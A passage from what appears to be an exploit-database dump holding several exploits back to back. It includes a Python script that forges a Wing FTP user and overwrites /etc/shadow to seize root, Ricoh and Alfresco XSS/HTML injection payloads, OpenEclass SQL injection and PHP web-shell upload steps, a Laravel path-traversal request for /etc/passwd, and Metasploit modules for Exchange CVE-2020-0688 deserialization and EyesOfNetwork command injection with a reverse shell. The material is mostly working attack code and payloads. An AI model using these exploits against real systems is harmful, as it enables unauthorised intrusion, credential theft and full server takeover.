<LimitResetType>0</LimitResetType> <LimitResetTime>1580092048</LimitResetTime> <TotalReceivedBytes>0</TotalReceivedBytes> <TotalSentBytes>0</TotalSentBytes> <LoginCount>0</LoginCount> <FileDownload>0</FileDownload> <FileUpload>0</FileUpload> <FailedDownload>0</FailedDownload> <FailedUpload>0</FailedUpload> <LastLoginIp></LastLoginIp> <LastLoginTime>2020-01-26 18:27:28</LastLoginTime> <EnableSchedule>0</EnableSchedule> <Folder> <Path>/</Path> <Alias>/</Alias> <Home_Dir>1</Home_Dir> <File_Read>1</File_Read> <File_Write>1</File_Write> <File_Append>1</File_Append> <File_Delete>1</File_Delete> <Directory_List>1</Directory_List> <Directory_Rename>1</Directory_Rename> <Directory_Make>1</Directory_Make> <Directory_Delete>1</Directory_Delete> <File_Rename>1</File_Rename> <Zip_File>1</Zip_File> <Unzip_File>1</Unzip_File> </Folder> </USER> </USER_ACCOUNTS> """ #Verbosity function. def log(string): if DEBUG != False: print(string) #Checks to see which URL is hosting Wing FTP #Returns a URL, probably. HTTPS preferred. empty url is checked in main() def checkHTTP(hostname): protocols= ["http://","https://"] for protocol in protocols: try: log(f"Testing HTTP service {protocol}{hostname}") response = requests.get(protocol + hostname, verify=False, proxies=proxies) try: #Server: Wing FTP Server if "Wing FTP Server" in response.headers['Server']: print(f"[!] Wing FTP Server found at {protocol}{hostname}") url = protocol + hostname except: print("") except Exception as e: print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}") return url #Log in to the HTTP interface. Returns cookie def getCookie(url,webuser,webpass,headers): log("getCookie") loginURL = f"{url}/loginok.html" data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "} response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies) ftpCookie = response.headers['Set-Cookie'].split(';')[0] print(f"[!] Successfully logged in! Cookie is {ftpCookie}") cookies = {"UID":ftpCookie.split('=')[1]} log("return getCookie") return cookies #Change directory within the web interface. #The actual POST request changes state. We keep track of that state in the returned directorymem array. def chDir(url,directory,headers,cookies,directorymem): log("chDir") data = {"dir": directory} print(f"[*] Changing directory to {directory}") chdirURL = f"{url}/chdir.html" requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies) log(f"Directorymem is nonempty. --> {directorymem}") log("return chDir") directorymem = directorymem + "|" + directory return directorymem #The application has a silly way of keeping track of paths. #This function returns the current path as dirstring. def prepareStupidDirectoryString(directorymem,delimiter): log("prepareStupidDirectoryString") dirstring = "" directoryarray = directorymem.split('|') log(f"directoryarray is {directoryarray}") for item in directoryarray: if item != "": dirstring += delimiter + item log("return prepareStupidDirectoryString") return dirstring #Downloads a given file from the server. By default, it runs as root. #Returns the content of the file as a string. def downloadFile(file,url,headers,cookies,directorymem): log("downloadFile") print(f"[*] Downloading the {file} file...") dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?! log(f"directorymem is {directorymem} and dirstring is {dirstring}") editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768" response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies) filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0] log(f"downloaded file is: {filecontent}") log("return downloadFile") return filecontent,editURL #Saves a given file to the server (or overwrites one). By default it saves a file with #644 permission owned by root. def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem): log("saveFile") log(f"Directorymem is {directorymem}") saveURL = f"{url}/savefile.html" headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer} dirstring = prepareStupidDirectoryString(directorymem,"/") log(f"Stupid Directory string is {dirstring}") data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent} requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False) log("return saveFile") #Other methods may be more stable, but this works. #"You can't argue with a root shell" - FX #Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite #the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV). #Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible. #This routine overwrites the shadow file def overwriteShadow(url): log("overwriteShadow") headers = {"Content-Type": "application/x-www-form-urlencoded"} #Grab cookie from server. cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers) #Chdir a few times, starting in the user's home directory until we arrive at the target folder directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="") #Download the target file. shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem) # openssl passwd -1 -salt h00ph00p h00ph00p rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0" rootpass = "root:" + rootpass + ":18273:0:99999:7:::" #Create new shadow file with different root password & save newshadow = re.sub("root(.*):::",rootpass,shadowfile) print("[*] Swapped the password hash...") saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem) print("[*] Saved the forged shadow file...") log("exit overwriteShadow") def main(): log("main") try: #Create ssh connection to target with paramiko client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy) try: client.connect(hostname, port=port, username=username, password=password) except: print(f"Failed to connect to {hostname}:{port} as user {username}.") #Find wftpserver directory print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)") stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'") wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0] print(f"[!] Found Wing FTP directory: {wftpDir}") #Find name of <domain> stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1") lsresult = stdout.read().decode("utf-8").split('\n') #Checking if wftpserver is actually configured. If you're using this script, it probably is. print(f"[*] Determining if the server has been configured.") domains = [] for item in lsresult[:-1]: item = item.rsplit('/',1)[1] if item !="_ADMINISTRATOR" and item != "": domains.append(item) print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}") domain = domains[0] #Check if the users folder exists userpath = wftpDir + "/Data/" + domain print(f"[*] Checking if users exist.") stdin, stdout, stderr = client.exec_command(f"file {userpath}/users") if "No such file or directory" in stdout.read().decode("utf-8"): print(f"[*] Users directory does not exist. Creating folder /users") #Create users folder stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users") #Create user.xml file print("[*] Forging evil user (h00p:h00p).") stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml") #Now we can log into the FTP web app with h00p:h00p url = checkHTTP(hostname) #Check that url isn't an empty string (and that its a valid URL) if "http" not in url: print(f"[!] Exiting... cannot access web interface.") sys.exit(1) #overwrite root password try: overwriteShadow(url) print(f"[!] Overwrote root password to h00ph00p.") except Exception as e: print(f"[!] Error: cannot overwrite /etc/shadow: {e}") #Check to make sure the exploit worked. stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root") out = stdout.read().decode('utf-8') err = stderr.read().decode('utf-8') log(f"STDOUT - {out}") log(f"STDERR - {err}") if "root:$1$h00p" in out: print(f"[*] Success! The root password has been successfully changed.") print(f"\n\tssh {username}@{hostname} -p{port}") print(f"\tThen: su root (password is h00ph00p)") else: print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.") log("exit prepareServer") finally: client.close() main()
-
RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection
# Exploit Title: RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection # Discovery by: Olga Villagran # Discovery Date: 2020-03-02 # Vendor Homepage: https://www.ricoh.com/ # Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/rc3/model/sp52s/sp52s.htm?lang=es # Product Version: RICOH Aficio SP 5210SF Printer # Vulnerability Type: Code Injection - HTML Injection # Steps to Produce the HTML Injection: #1.- HTTP POST Request 'adrsGetUser.cgi': POST /web/entry/en/address/adrsGetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsList.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 402 Connection: close Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357 Upgrade-Insecure-Requests: 1 mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=8&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER&00012=ADRS_ENTRY_USER #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 22:22:44 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 22:22:44 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close #2.- HTTP POST Request 'adrsSetUser.cgi': POST /web/entry/en/address/adrsSetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsGetUser.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 607 Connection: close Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357 Upgrade-Insecure-Requests: 1 mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00005&entryNameIn=test&entryDisplayNameIn=test&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn= #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 22:23:10 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 22:23:10 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close
-
Alfresco 5.2.4 - Persistent Cross-Site Scripting
# Exploit Title: Alfresco 5.2.4 - Persistent Cross-Site Scripting # Date: 2020-03-02 # Exploit Author: Romain LOISEL & Alexandre ZANNI (https://pwn.by/noraj) - Pentesters from Orange Cyberdefense France # Vendor Homepage: https://www.alfresco.com/ # Software Link: https://www.alfresco.com/ecm-software # Version: Alfresco before 5.2.4 # Tested on: 5.2.4 # CVE : CVE-2020-8776, CVE-2020-8777, CVE-2020-8778 # Security advisory: https://gitlab.com/snippets/1937042 ### Stored XSS n°1 - Document URL - CVE-2020-8776 (found by Alexandre ZANNI) Each file has a set of properties than can be edited by any authenticated user that have write access on the project or the file. The **URL** property of the file provided by the user is injected in the `href` attribute of the HTML link without a proper escaping. - Where? In URL property - Payload: `" onmouseover="alert(document.cookie)"` - Details: On the document explorer, the value is injected in a span tag. But on the detailed view of the file, it's inserted in the `href` attribute of a `a` tag. `http://` is prefixed before the payload provided by the user but can be bypassed. The generated vulnerable link will look like that: ```html <a target="_blank" href="http://" onmouseover="alert(document.cookie)" "=" ">http://" onmouseover="alert(document.cookie)"</a> ``` - Privileges: It requires write privileges to store it, any user with read access can see it. - Steps to reproduce: 1. Go to _Document Library_ 2. Upload a file or click _Edit properties_ on an existing file 3. Enter the payload in the URL property 4. Click on the file title to go on the detailed page of the file 5. Hover the displayed link to trigger the XSS ### Stored XSS n°2 - User profile photo upload / Document viewing - CVE-2020-8777 (found by Alexandre ZANNI) There is no file restriction for photo uploading in the user profile page. Then the profile picture can be seen in the browser. - Where? In user profile photo - Payload: ```xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,200 200,200 200,0" fill="#FF6804" stroke="#000000"/> <script type="text/javascript"> alert('XSS - Orange Cyberdefense'); </script> </svg> ``` - Details: The XSS is not triggerred everywhere, only with the _View in browser_ feature. - Privileges: Any authenticated user can store it or trigger it. - Steps to reproduce: 1. Go to your user profile page (`/share/page/user/<username>/profile`) 2. In the _Photo_ section, click _Upload_ and upload the SVG payload file 3. Use the document browser or any dashboard to find the uploaded file 4. Click on the title to go to the detailed page of the file 5. On the right panel, click the _View in browser_ link to trigger the XSS (on load) ### Stored XSS n°3 - Generic file upload / Document viewing - CVE-2020-8778 (found by Romain LOISEL) This is the generic version of the previous XSS. Uploading dangerous file types is allowed and then they can be viewed to triggered the XSS. The difference between the two is that this one requires right access on a project to upload documents so the XSS is not exploitable with a read only account but the previous one can be exploited by any user as any user is allowed to have a profile photo. - Where? Uploading a document anywhere - Payload: any file type that can store and execute a JavaScript payload (eg. HTML, SVG, XML, etc.) - Details: The XSS is triggerred only with the _View in browser_ feature. - Privileges: Any authenticated user with write access to a project can store it and any user that have read access to the file or project can trigger it. - Steps to reproduce: 1. Go to a project dashboard 2. IClick _Upload_ and upload a dangerous file 3. Use the document browser or any dashboard to find the uploaded file 4. Click on the title to go to the detailed page of the file 5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)
-
GUnet OpenEclass 1.7.3 E-learning platform - 'month' SQL Injection
# Exploit Title: GUnet OpenEclass 1.7.3 E-learning platform - 'month' SQL Injection # Google Dork: intext:"© GUnet 2003-2007" # Date: 2020-03-02 # Exploit Author: emaragkos # Vendor Homepage: https://www.openeclass.org/ # Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz # Version: 1.7.3 (2007) # Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38) # CVE : - Older versions are also vulnerable. Source code: http://download.openeclass.org/files/1.7/eclass-1.7.3.zip http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz Setup instructions: http://download.openeclass.org/files/docs/1.7/Install.pdf Changelog: https://download.openeclass.org/files/docs/1.7/CHANGES.txt Manual: https://download.openeclass.org/files/docs/1.7/eClass.pdf ############################################################################ Unauthenticated Information Disclosure System info 127.0.0.1/modules/admin/sysinfo (powered by phpSysInfo 2.0 that is also vulnerable) Web-App version info 127.0.0.1/README.txt 127.0.0.1/info/about.php 127.0.0.1/upgrade/CHANGES.txt ############################################################################ (Authenticated - Requires student account) - Error-Based SQLi https://127.0.0.1/modules/agenda/myagenda.php?month=3&year=2020 sqlmap -u "https://127.0.0.1/modules/agenda/myagenda.php?month=2&year=2020" --batch --dump --- Parameter: month (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: month=5' AND (SELECT 9183 FROM(SELECT COUNT(*),CONCAT(0x7170717671,(SELECT (ELT(9183=9183,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Hztw&year=2020' --- Almost every parameter will be either error-based, boolean-based or time-based vulnerable. If you have a student account I recommend using this error-based SQLi because you will get all the database content really faster. If you dont have an account use the following exploit that exploits an unauthenticated time-based blind injection. It will definately be a slower proccess but you will get the administrator account pretty fast and move on with exploiting other authenticated vulnerabilities. https://www.exploit-db.com/exploits/48106 ############################################################################ (Authenticated - Requires student account) - PHP upload file extension bypass If you have a student account you can bypass file extension restrictions and upload a PHP shell. Register as user if the application is configured to allow registrations or use an SQLi to find an account that already exists. Start looking for a class that you can submit an exercise as a student. Register in that class and navigate to submit you exercise. If you try to upload a .php file it will be renamed to .phps to prevent execution. You can upload your PHP shell by spoofing the extension simply by renaming your .php file to .php3 or .PhP Once you have uploaded it, open your course directory and then add "work" directory at the end Course link example: https://127.0.0.1/courses/CS101/ Course link becomes: https://127.0.0.1/courses/CS101/work/ Directory listing will most likely be enabled by default and you will be able to view the directories. Your shell will be in one of the multiple random alphanumeric directories that look like this /4a0c01h2nad9b/ Final shell link will look like this: https://127.0.0.1/courses/CS101/work/4a0c01h2nad9b/shell.php3 The same method works with "groups" if you cant find a class that supports submitting an exercise. https://127.0.0.1/modules/group/group.php ############################################################################ (Authenticated - Requires student account) - View assessments of other students If you have a student account you can view uploaded assessments from other students before or after the deadline that the professor has set. Find the course link you are interested in. https://127.0.0.1/courses/CS101 Add "work" directory at the end https://127.0.0.1/courses/CS101/work/ Directory listing will most likely be enabled by default and you will be able to view and download other students' uploaded assessments. ############################################################################ (Authenticated - Requires admin account) - Upload PHP files You have to login to the platform as an administrator or user with admin rights. You can grab the administrator credentials as plaintext with an Unauthenticated Blind SQL Injection using the following exploit https://www.exploit-db.com/exploits/48106 or use the authenticated SQLi for faster results. Once you have logged in as admin: 1) Navigate to 127.0.0.1/modules/course_info/restore_course.php 2) Upload your .php shell compressed in a .zip file 3) Ignore the error message 4) Your PHP file is now uploaded to 127.0.0.1/cources/tmpUnzipping/[your-shell-name].php ############################################################################ (Authenticated - Requires admin account) - phpMyAdmin Remote Access 127.0.0.1/modules/admin/mysql phpMyAdmin 2.10.0.2 is installed by default and allows remote logins Once you have uploaded your shell can view the config.php file that contains the mysql password 127.0.0.1/config/config.php ############################################################################ (Authenticated - Requires admin account) - Plaintext password storage When logged in as admin you can view all registered users credentials as plaintext. 127.0.0.1/modules/admin/listusers.php
-
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read # Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io # Date: 2020-02-04 # Exploit Author: NgoAnhDuc # Vendor Homepage: https://github.com/UniSharp/laravel-filemanager # Software Link: https://github.com/UniSharp/laravel-filemanager # Version: v2.0.0-alpha8 & v2.0.0 # Tested on: v2.0.0-alpha8 & v2.0.0 # CVE : N/A PoC: http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd
-
Exchange Control Panel - Viewstate Deserialization (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'bindata' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf" def initialize(info = {}) super(update_info(info, 'Name' => 'Exchange Control Panel Viewstate Deserialization', 'Description' => %q{ This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization. }, 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-0688'], ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], ], 'Platform' => 'win', 'Targets' => [ [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2020-02-11', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], } )) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), ]) end def check state = get_request_setup viewstate = state[:viewstate] return CheckCode::Unknown if viewstate.nil? viewstate = Rex::Text.decode_base64(viewstate) body = viewstate[0...-20] signature = viewstate[-20..-1] unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature return CheckCode::Safe end # we've validated the signature matches based on the data we have and thus # proven that we are capable of signing a viewstate ourselves CheckCode::Vulnerable end def generate_viewstate(generator, session_id, cmd) viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) signature = generate_viewstate_signature(generator, session_id, viewstate) Rex::Text.encode_base64(viewstate + signature) end def generate_viewstate_signature(generator, session_id, viewstate) mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') mac_key_bytes << Rex::Text.to_unicode(session_id) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) end def exploit state = get_request_setup # the major limit is the max length of a GET request, the command will be # XML escaped and then base64 encoded which both increase the size if target.arch.first == ARCH_CMD execute_command(payload.encoded, opts={state: state}) else cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) end end def execute_command(cmd, opts) state = opts[:state] viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) 5.times do |iteration| # this request *must* be a GET request, can't use POST to use a larger viewstate send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => state[:cookies].join(''), 'agent' => state[:user_agent], 'vars_get' => { '__VIEWSTATE' => viewstate, '__VIEWSTATEGENERATOR' => state[:viewstate_generator] } }) break rescue Rex::ConnectionError, Errno::ECONNRESET => e vprint_warning('Encountered a connection error while sending the command, sleeping before retrying') sleep iteration end end def get_request_setup # need to use a newer default user-agent than what Metasploit currently provides # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), 'method' => 'POST', 'agent' => user_agent, 'vars_post' => { 'password' => datastore['PASSWORD'], 'flags' => '4', 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), 'username' => datastore['USERNAME'] } }) fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? cookies = [res.get_cookies] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => res.get_cookies, 'agent' => user_agent }) fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 cookies << res.get_cookies viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0] if viewstate_generator.nil? print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}") viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR else vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}") end viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0] if viewstate.nil? vprint_warning('Failed to find the __VIEWSTATE value') end session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] if session_id.nil? fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') end vprint_status("Recovered the ASP.NET_SessionID: #{session_id}") {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} end end
-
EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution', 'Description' => %q{ This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the `target` parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the`apache` user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hardcoded key, and via SQLI. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Billac', # @h4knet - Discovery and exploit 'bcoles', # Metasploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-8654'], # authenticated rce ['CVE', '2020-8655'], # nmap privesc ['CVE', '2020-8656'], # sqli auth bypass ['CVE', '2020-8657'], # hardcoded API key ['EDB', '48025'] ], 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Targets' => [['Auto', { }]], 'Privileged' => true, 'DisclosureDate' => '2020-02-06', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, #HTTPS is required for the module to work 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']), OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']), ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def nmap_path '/usr/bin/nmap' end def server_addr datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR'] end def check vprint_status("Running check") res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey') unless res return CheckCode::Unknown('Connection failed') end unless res.code == 401 && res.body.include?('api_version') return CheckCode::Safe('Target is not an EyesOfNetwork application.') end version = res.get_json_document()['api_version'] rescue '' if version.to_s.eql? '' return CheckCode::Detected('Could not determine EyesOfNetwork version.') end version = Gem::Version.new version unless version <= Gem::Version.new('2.4.2') return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.") end CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.") end def generate_api_key default_key = "€On@piK3Y" default_user_id = 1 key = Digest::MD5.hexdigest(default_key + default_user_id.to_s) Digest::SHA256.hexdigest(key + server_addr) end def sqli_to_api_key # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash fake_pass = Rex::Text::rand_text_alpha(10) fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}") user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '" api_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"), 'method' => 'GET', 'vars_get' => { 'username' => user_sqli, 'password' => fake_pass } }) unless api_res print_error('Connection failed.') return end unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY') print_error("SQL injection to obtain API key failed") return end api_res.get_json_document()['EONAPI_KEY'] end def create_eon_user(user, password) vprint_status("Creating user #{user} ...") vars_post = { user_name: user, user_group: "admins", user_password: password } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'), 'ctype' => 'application/json', 'vars_get' => { 'apiKey' => @api_key, 'username' => @api_user }, 'data' => vars_post.to_json }) unless res print_warning("Failed to create user: Connection failed.") return end return res end def verify_api_key(res) return false unless res.code == 200 json_data = res.get_json_document json_res = json_data['result'] return false unless json_res && json_res['description'] json_res = json_res['description'] return true if json_res && json_res.include?('SUCCESS') return false end def delete_eon_user(user) vprint_status "Removing user #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'), 'ctype' => 'application/json', 'data' => { user_name: user }.to_json, 'vars_get' => { apiKey: @api_key, username: @api_user } }) unless res print_warning 'Removing user #{user} failed: Connection failed' return end res end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'vars_post' => { login: user, mdp: pass } }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('dashboard_view') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}" @cookie = res.get_cookies if @cookie.empty? fail_with 